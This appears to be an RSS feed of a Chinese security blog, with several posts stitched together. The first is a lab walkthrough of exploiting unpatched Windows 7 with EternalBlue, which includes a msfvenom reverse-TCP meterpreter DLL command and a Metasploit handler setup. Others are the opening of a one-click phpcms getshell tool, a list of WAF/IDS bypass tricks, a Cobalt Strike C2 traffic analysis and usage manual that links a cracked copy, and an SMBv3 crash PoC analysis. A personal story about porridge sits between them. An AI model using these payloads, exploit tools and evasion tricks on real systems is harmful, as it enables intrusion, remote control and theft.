&lt;p&gt;攻击机kali:&lt;/p&gt;
&lt;p&gt;ip:192.168.1.106&lt;/p&gt;
&lt;p&gt;靶机（被攻击机）window7 x64(未装smb漏洞补丁）&lt;/p&gt;
&lt;p&gt;ip:192.168.1.100&lt;/p&gt;
&lt;h3 id="2windows2003攻击机"&gt;2.windows2003攻击机&lt;/h3&gt;
&lt;p&gt;攻击机win2003安装环境：&lt;/p&gt;
&lt;p&gt;python-2.6.6.msi&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.python.org/download/releases/2.6.6/"&gt;https://www.python.org/download/releases/2.6.6/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;pywin32-221.win-amd64-py2.6.exe：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/"&gt;https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;方程式ETERNALBLUE 下载地址：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://codeload.github.com/misterch0c/shadowbroker/zip/master"&gt;https://codeload.github.com/misterch0c/shadowbroker/zip/master&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;安装好python后，需要在win2003设置环境变量：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/1.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;将整个ETERNALBLUE 目录下的 windows拷贝到攻击机win2003上&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/2.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在windows目录下建立一个文件为：listeningposts&lt;/p&gt;
&lt;p&gt;运行phthon  fb.py&lt;/p&gt;
&lt;p&gt;以下在攻击机win2003上执行fb.py的具体命令重要命令如下，其他命令都用回车执行。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/3.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/3.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/4.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/4.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/5.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/5.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/6.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/6.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/7.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/7.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/8.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/8.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="3攻击机kali上"&gt;3.攻击机kali上&lt;/h3&gt;
&lt;p&gt;利用msf生成一个dll劫持文件：&lt;/p&gt;
&lt;p&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.106 ORT=5555 -f dll &amp;gt; /opt/s.dll&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/9.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/9.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;将s.dll文件拷贝到windows2003的C盘目录下：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/10.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/10.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在msf下开启msfpaylod监听：&lt;/p&gt;
&lt;p&gt;use exploit/multi/handler&lt;/p&gt;
&lt;p&gt;set lhost 192.168.1.106&lt;/p&gt;
&lt;p&gt;set lport 5555&lt;/p&gt;
&lt;p&gt;set PAYLOAD windows/x64/meterpreter/reverse_tcp&lt;/p&gt;
&lt;p&gt;exploit&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/11.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/11.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="4接着在windows2003下执行"&gt;4.接着在windows2003下执行&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/12.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/12.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/13.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/13.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/14.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/14.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/15.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/15.png"&gt;&lt;/a&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/16.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/16.png"&gt;&lt;/a&gt; &lt;strong&gt;最后在&lt;/strong&gt; &lt;strong&gt;msf&lt;/strong&gt; &lt;strong&gt;下可以看到成功反弹&lt;/strong&gt; &lt;strong&gt;shell:&lt;/strong&gt; &lt;a href="https://www.lucien116.com/wp-content/uploads/2017/04/17.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/04/17.png"&gt;&lt;/a&gt;&lt;/p&gt;</description></item><item><title>phpcmsV9.6.0一键批量getshell工具</title><link>https://www.lucien116.com/archives/293/</link><pubDate>Mon, 10 Apr 2017 17:00:01 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=293</guid><description>&lt;h2 id="介绍"&gt;介绍&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一键化 &lt;code&gt;python 1.py http://xxx.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;不再是只允许执行一次有回显，加入了爆破，1-3s内即可找到你的webshell，不论是否有回显，只要成功&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="待办"&gt;待办&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[] 加入对有验证码phpcms网站的支持&lt;/li&gt;
&lt;li&gt;[] 加入批量&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="说明"&gt;说明&lt;/h2&gt;
&lt;p&gt;依赖库的安装 &lt;code&gt;pip install requests&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="代码"&gt;代码&lt;/h2&gt;
&lt;p&gt;# -*- coding:utf-8 -*-&lt;/p&gt;
&lt;p&gt;&amp;rsquo;&amp;rsquo;'
---&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-
Author : Akkuman
Blog : hacktech.cn
---&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-
&amp;rsquo;''&lt;/p&gt;
&lt;p&gt;import requests
from datetime import datetime
from bs4 import BeautifulSoup
# from urlparse import unquote //Python2
# from urlparse import urlparse //Python2
from urllib.parse import quote
from urllib.parse import urlparse
from random import Random&lt;/p&gt;
&lt;p&gt;rand_name = &amp;rsquo;'
chars = &amp;lsquo;qwertyuiopasdfghjklzxcvbnm0123456789&amp;rsquo;
random = Random()&lt;/p&gt;</description></item><item><title>bypass姿势汇总，防火墙绕过技巧总结，IPS、IDS绕过技术</title><link>https://www.lucien116.com/archives/291/</link><pubDate>Tue, 21 Mar 2017 14:33:12 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=291</guid><description>&lt;p&gt;bypass姿态汇总&lt;/p&gt;
&lt;p&gt;MayIKissYou | 2015-01-04 17:16&lt;/p&gt;
&lt;p&gt;比来做web测试的时辰也翻阅了不少资料，各类姿态下的bypass，自己看到的和理会的总结一下，分享给小同伴们。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1：数据流向：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如下图所示：&lt;/p&gt;
&lt;p&gt;描绘了从阅读器敲下URL到央求最终发送到web干事器，中心履历了若干设备，哪些处所经由了措置责罚，哪些处所没有经由措置责罚。&lt;/p&gt;
&lt;p&gt;经由公网的时辰，公网普通都是一些任务在搜集层的设备，这些设备根基做路由转发，不会关于数据包停止运用层措置责罚的。在到达目标干事器之前，能够会有一些防护设备，如云waf，又如硬件waf，ips，ids设备，这些设备会关于数据包停止措置责罚，是以在此处针关于一些运用层的防护设备应该有bypass的姿态，为第一个角度。数据包会发送到终端，终端会有windows和linux之分，同时分歧操作系统上也会装置纷歧样的主机防护，如safedog，是以针对此类主机防护能够也会有bypass的姿态，为第二个角度。经由主机防护的包会发送到web干事器，web干事器也有许多种，如罕见的apache和iis等。是以针关于web干事器也会有bypass的姿态，为第三个角度。web干事器的数据流会被发布在web干事器上的运用法式措置责罚，针关于运用法式异样也会有bypass的姿态，为第四个角度web法式措置责罚的进程中会与数据库交互，分歧的数据库有分歧的特征，应此关于分歧的数据库异样会有bypass的姿态，为第五个角度。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2：waf以及主机防护bypass&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在市情上各类waf与主机防护，如百度一下云减速，阿里云盾，减速乐，安全宝，安全狗，云锁，360网站卫士等等，之前编写了一篇文章，bypass ips姿态的，其实测试过的都邃晓，外面的一些trick合用于许多防护设备的，这里将总结增补下：&lt;/p&gt;
&lt;p&gt;1）：点窜央求的体式格式，央求的内容普通分为get，post以及cookie的体式格式，post下又会有urlencode以及form-data的提交两种&lt;/p&gt;
&lt;p&gt;2）：截断字符的行使&lt;/p&gt;
&lt;p&gt;3）：要害字url编码的行使&lt;/p&gt;
&lt;p&gt;4）：脏数据的添加，即添加有效数据，有能够跨越最年夜的检测长度，而招致bypass，之前写过一个bypass安全狗的就是行使的此trick&lt;/p&gt;
&lt;p&gt;5）：fuzz测试，这里我普通会每一种央求体式格式均fuzz一次，这里fuzz的处所，主假若有能够waf之类的设备措置责罚某些字符欠妥招致了bypass。&lt;/p&gt;
&lt;p&gt;6）：关于waf类的其实找到原始IP直接接见，也是一种bypass的体式格式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3：webserver端的bypass姿态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;webserver罕见的iis，apache以及tomcat等等&lt;/p&gt;
&lt;p&gt;我见到过的能够可以行使的：&lt;/p&gt;
&lt;p&gt;1）：iis在asp法式措置责罚中，关于%措置责罚的不是太好，貌似直接显示空白了&lt;/p&gt;
&lt;p&gt;2）：iis在aspx法式措置责罚中关于%u00措置责罚的不是太好，貌似直接显示空白了&lt;/p&gt;
&lt;p&gt;3）：iis加asp状况下的复参进击，在如下毗邻中有参考：&lt;/p&gt;
&lt;p&gt;4）：apache干事器关于畸形央求的解析,此处没有考证，马脚毗邻&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4：web法式端bypass姿态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;web法式普通运转在webserver上，web法式在获取参数假设选择体式格式不准确能够形成bypass：&lt;/p&gt;
&lt;p&gt;1：asp asp.net中获取参数假设应用的Request[”]的方式的话，可以应用畸形的央求，如一个GET央求，同时还发送了post部门的内容&lt;/p&gt;
&lt;p&gt;2：之前说到替代提交体式格式绕过的其实需求此处web法式的支撑，如罕见的dedecms就会支撑get post以及cookie的提交。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5：数据库端的bypass姿态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数据库端的bypass年夜多是行使了数据库的特征，数据库有mysql,mssql,oracle等等&lt;/p&gt;
&lt;p&gt;其实数据到最后在数据库被执行了才算是真正的bypass，是以直接从数据库特征去测试普通是最有用的：&lt;/p&gt;
&lt;p&gt;mysql的特征，之前有一篇帖子专门描绘了mysql的测试结果，而且经自己测试在许多的waf下行使某些trick都是能bypass的，帖子链接：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://zone.wooyun.org/content/16772"&gt;http://zone.wooyun.org/content/16772&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1）：空白符的行使（之前有人做过空白符的测试）【http://zone.wooyun.org/content/15953】&lt;/p&gt;
&lt;p&gt;SQLite3 0A 0D 0C 09 20&lt;/p&gt;
&lt;p&gt;MySQL5 09 0A 0B 0C 0D A0 20&lt;/p&gt;
&lt;p&gt;PosgresSQL 0A 0D 0C 09 20&lt;/p&gt;
&lt;p&gt;Oracle 11g 00 0A 0D 0C 09 20&lt;/p&gt;
&lt;p&gt;MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20&lt;/p&gt;
&lt;p&gt;在数据库中的空白符能够和php或许其他的web法式端的空白符存在差别，这样的差别能够就会招致绕过正则或其他进攻的绕过。&lt;/p&gt;
&lt;p&gt;2）：行使数据库fuzz测试，在http://zone.wooyun.org/content/16772中有小同伴就做了相关的测试，如：&lt;/p&gt;</description></item><item><title>基于DNS、HTTP和HTTPS隧道协议的木马流量分析</title><link>https://www.lucien116.com/archives/261/</link><pubDate>Thu, 09 Mar 2017 12:13:31 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=261</guid><description>&lt;p&gt;文中所用的样本均由Cobalt Strike 3.6版生成，这里就不再详细介绍使用方法和样本的配置过程，想了解的可参考上一篇文章 &lt;a href="https://www.lucien116.com/archives/255"&gt;《Cobalt strike3.0使用手册》&lt;/a&gt;。本文主要针对样本的通信流量特征进行分析。
样本来源       Cobalt Strike3.6样本类型TR.Crypt.XPACK.Gen7分析时间       2017-03-06运行环境控制端: 182.92.84.176
木马端: 192.168.86.192&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用DNS隧道传输&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;1.首先打开Cobalt Strike3.6设置好监听端口5555，并生成可执行文件EXE木马样本。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/jainting.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/jainting.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1-设置监听端口&lt;/p&gt;
&lt;p&gt;2.在主机192.168.86.192上运行木马样本，同时打开Wireshark抓取本机流量。运行样本后从流量中可发现主机产生大量DNS请求，直至在控制端上线后才停止DNS请求。如下图&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/shangxian.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/shangxian.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图2-上线&lt;/p&gt;
&lt;p&gt;3．来到控制端，发现主机已经上线。打开beacon管理器在控制端输入“mod dns-txt”，设置数据传输模式为dns-txt.如下图&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/set.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/set.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图3-主机上线&lt;/p&gt;
&lt;p&gt;4.设置好传输模式后，尝试对主机做一些简单操作，观察Wireshark中的数据流量特征。&lt;/p&gt;
&lt;p&gt;执行远程主机文件目录查看操作：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/look.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/look.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图4-1远程主机文件目录查看&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/look2.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/look2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图4-2远程主机文件目录查看&lt;/p&gt;
&lt;p&gt;从上图可发现此时控制端发送的命令和主机返回的目录信息数据都已经通过DNS-TXT隧道加密传输。&lt;/p&gt;
&lt;p&gt;执行“net user”查看操作：&lt;/p&gt;
&lt;p&gt;在beacon管理器中执行net user命令&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/net-user1.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/net-user1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图5-1执行net user命令&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/net-user2.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/net-user2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图5-2 执行net user命令&lt;/p&gt;
&lt;p&gt;通过主机发送net user命令后抓到的数据包可以看出，命令和返回的信息也都已经被加密通过dns协议传输。&lt;/p&gt;
&lt;p&gt;小结：通过DNS隧道传输隐蔽性较强不易被发现，但传输速度非常慢。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用HTTP传输&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;分析过程：&lt;/p&gt;
&lt;p&gt;操作步骤同上，在生成EXE木马选择payload时选择windows/beacin_http/reverse_http. 端口：6666&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;木马上线&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/http1.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/http1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图6-1木马上线&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/http.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/http.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图6-2木马上线&lt;/p&gt;
&lt;p&gt;通过抓取的上线数据包可以看出木马上线后会向控制端提交一个GET /JRLU 请求。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;执行远程目录查看操作。如下图&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/look-1.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/look-1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图7-1远程目录查看&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/look-2.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/look-2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图7-2目录查看&lt;/p&gt;
&lt;p&gt;从上图可以看出，控制端发出目录查看请求后主机首先向控制端GET /visit.js文件后再通过POST /submit.php?id=42612把主机文件目录信息发送给控制端。整个过程都走HTTP协议，全都采用明文传输。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用HTTPS传输&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;操作步骤同上，在生成EXE木马选择payload时选择windows/beacin_https/reverse_https. 端口：9999如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/03/listen.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/03/listen.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图8-监听设置&lt;/p&gt;
&lt;p&gt;1.木马上线&lt;/p&gt;</description></item><item><title>Cobalt Strike3.0使用手册</title><link>https://www.lucien116.com/archives/255/</link><pubDate>Wed, 01 Mar 2017 14:50:48 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=255</guid><description>&lt;h2 id="0x00-简介"&gt;0x00 简介&lt;/h2&gt;
&lt;p&gt;Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，Java木马生成，Office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用，当然可以结合Armitage进行使用。这里有一个破解版：&lt;/p&gt;
&lt;p&gt;下载地址： 戳我 (自行验证其安全性)&lt;/p&gt;
&lt;p&gt;Cobalt Strike 3.0 延用了其强大的团体服务器功能，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。当然，在使用Cobalt Strike之前，需要安装java环境，具体怎么配置，请移步[java language=&amp;ldquo;环境搭建&amp;rdquo;][/java] /java 3 。&lt;/p&gt;
&lt;h2 id="0x01-运行"&gt;0x01 运行&lt;/h2&gt;
&lt;p&gt;与之前版本的 Cobalt Strike不同， Cobalt Strike3.0需要开启团体服务器才可以链接使用，当然，这个服务器可以放到公网环境下，或者放到自己想要搭建此服务的环境中。 下载好Cobalt Strike以后包含以下几个文件：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://img4.07net01.com/upload/images/2015/11/14/1750376141809352.png"&gt;&lt;/p&gt;
&lt;p&gt;其中关键的文件是teamserver以及cobaltstrike.jar，将这两个文件放到服务器上同一个目录，然后运行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? cobaltstrike sudo ./teamserver 192.168.74.1 msf3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="http://img4.07net01.com/upload/images/2015/11/14/1750376141809353.png"&gt;&lt;/p&gt;
&lt;p&gt;这里为了方便使用，最好使用具体的IP地址，而不是0.0.0.0或者127.0.0.1, 如果有多个网卡，使用你要用的那个ip地址即可， &lt;code&gt;msf3&lt;/code&gt; 为该团体服务器的连接密码。&lt;/p&gt;
&lt;p&gt;服务运行以后，在客户端进行连接：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? cobaltstrike java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="http://img4.07net01.com/upload/images/2015/11/14/1750376141809354.png"&gt;&lt;/p&gt;
&lt;p&gt;这里ip使用服务器的ip，端口默认50050，用户名随意，密码为之前设置的密码，然后connect,弹出验证窗口，然后点是，就进入Cobalt Strike了。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://img4.07net01.com/upload/images/2015/11/14/1750376141809355.png"&gt;&lt;/p&gt;
&lt;h2 id="0x02-listeners"&gt;0x02 Listeners&lt;/h2&gt;
&lt;p&gt;使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike-&amp;gt;Listeners ，然后点击Add便可以创建自己想要的Listeners了，Cobalt Strike3.0包括&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows/beacon_dns/reverse_dns_txt&lt;/li&gt;
&lt;li&gt;windows/beacon_dns/reverse_http&lt;/li&gt;
&lt;li&gt;windows/beacon_http/reverse_http&lt;/li&gt;
&lt;li&gt;windows/beacon_https/reverse_https&lt;/li&gt;
&lt;li&gt;windows/beacon_smb/bind_pipe&lt;/li&gt;
&lt;li&gt;windows/foreign/reverse_dns_txt&lt;/li&gt;
&lt;li&gt;windows/foreign/reverse_http&lt;/li&gt;
&lt;li&gt;windows/foreign/reverse_https&lt;/li&gt;
&lt;li&gt;windows/foreign/reverse_tcp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中 &lt;code&gt;windows/beacon*&lt;/code&gt; 是Cobalt Strike自带的模块，包括dns,http,https,smb四种方式的监听器， &lt;code&gt;windows/foreign*&lt;/code&gt; 为外部监听器，即msf或者Armitage的监听器。 选择监听器以后，host会自动填写我们开启服务时的ip，配置监听端口，然后保存，监听器就创建好了。&lt;/p&gt;</description></item><item><title>一个食粥的故事</title><link>https://www.lucien116.com/archives/252/</link><pubDate>Mon, 20 Feb 2017 11:20:49 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=252</guid><description>&lt;h2 id="part1"&gt;Part.1&lt;/h2&gt;
&lt;p&gt;从前有个女孩，有一天生病了。
有一个男孩便在她家楼下买了一碗粥给她吃。
她那时觉得这碗粥是全世界最好吃的粥。
第二天，女孩看到装粥的袋子。
不相信是在楼下那间铺子买的。
于是决定再去楼下吃一次。&lt;/p&gt;
&lt;h2 id="part2"&gt;Part.2&lt;/h2&gt;
&lt;p&gt;女孩来到粥铺，发现今天的粥好难吃。
她对自己说，没道理的。
昨天那碗粥要么是那个男孩在别家铺子买的，也可能是他亲手煮的。
她甚至很讨厌铺子里面正在吃粥的人。
于是从那天开始，她就每天坚持都要吃粥。
与此同时，也会感到迷惑。
究竟所有的粥，艇仔、猪红、牛肉粥。
其实都是一样的味道呀。
还是每一碗艇仔粥的味道，都是不一样的呢？&lt;/p&gt;
&lt;h2 id="part3"&gt;Part.3&lt;/h2&gt;
&lt;p&gt;终于，这个女孩尝遍了所有粥铺的粥。
都没有吃出像最初那碗粥那样的美味。
还越吃越难吃。
没有胃口之后，她忽然明白了。
有粥食粥，有饭食饭。
不一定要和别人争着吃粥。
就算不吃饭都可以吃面。
还可以吃道亭面呀，啖啖面呀。
如果还不行，吃Angle hair都可以啊。&lt;/p&gt;
&lt;p&gt;这个故事告诉我们，生病的时候，粥不只是一碗粥。
但是病愈之后，粥只是一碗粥。
可以吃，可以不吃。
当然，粥并不可以乱吃。
不要以为，食粥不会上瘾啊。&lt;/p&gt;</description></item><item><title>SMBv3远程拒绝服务(BSOD)漏洞分析</title><link>https://www.lucien116.com/archives/250/</link><pubDate>Tue, 14 Feb 2017 16:17:10 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=250</guid><description>&lt;p&gt;作者： &lt;strong&gt;k0shl&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;作者博客： &lt;a href="http://whereisk0shl.top/"&gt;http://whereisk0shl.top&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="前言"&gt;前言&lt;/h3&gt;
&lt;p&gt;我是菜鸟，大牛轻喷……&lt;/p&gt;
&lt;p&gt;这个SMBv3漏洞是由lgandx爆出的一个未被微软修复的漏洞（暂未发布补丁），漏洞出来后我进行了一定的分析，花了很多时间，这个漏洞有一些意思，但是对于SMB的整个协议通信过程非常庞大，所以没有进行非常细致的跟踪，包括一些不透明的结构体让我感到晕头转向，但到最后还是有了一些结果。&lt;/p&gt;
&lt;p&gt;这个SMB漏洞可以看作是被动的，需要用户主动去访问445端口才可以触发，而不像ms08067一样主动攻击别人，所以需要运行漏洞脚本在操作系统上。&lt;/p&gt;
&lt;p&gt;终于赶在元宵节这天完成了这个任务，也在这里，祝大家元宵节快乐（不知道文章发布的时候过没过元宵节23333）！&lt;/p&gt;
&lt;p&gt;这个漏洞在twitter爆出来之后，很多老外也在微博下面问是否可以RCE，包括国内的预警中也有人问到。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://bobao.360.cn/learning/detail/3451.html"&gt;http://bobao.360.cn/learning/detail/3451.html&lt;/a&gt; &lt;a href="http://www.freebuf.com/vuls/126100.html"&gt;http://www.freebuf.com/vuls/126100.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;那么很多人看到PoC中的关键部分，就会想：有填充数据，会不会是缓冲区溢出！&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;## Tree Connect
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x03\x00&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
